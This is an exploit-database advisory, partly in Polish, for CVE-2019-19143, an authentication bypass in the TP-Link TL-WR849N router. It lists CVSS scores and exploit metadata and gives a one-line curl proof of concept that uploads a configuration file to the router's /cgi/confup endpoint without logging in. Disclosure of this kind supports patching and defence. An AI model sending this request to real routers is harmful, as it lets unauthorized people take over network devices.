TP-Link TL-WR849N 0.9.1 4.16 Authentication Bypass

2020.03.03

Credit: Elber Tavares

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2019-19143

CWE: CWE-287

Ogólna skala CVSS: 4.1/10

Znaczenie: 4.9/10

Łatwość wykorzystania: 5.1/10

Wymagany dostęp: Sieć lokalna

Złożoność ataku: Niska

Autoryzacja: Jednorazowa

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Brak

# Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
# Version: TL-WR849N 0.9.1 4.16
# Tested on: linux, windows
# CVE : CVE-CVE-2019-19143
Uploading new firmware without access to the panel
REFS:
https://github.com/ElberTavares/routers-exploit/tp-link
https://fireshellsecurity.team/hack-n-routers/
Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://TARGET/mainFrame.htm" -F data=@conf.bin
http://TARGET/cgi/confup

See this note in RAW Version

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TP-Link TL-WR849N 0.9.1 4.16 Authentication Bypass

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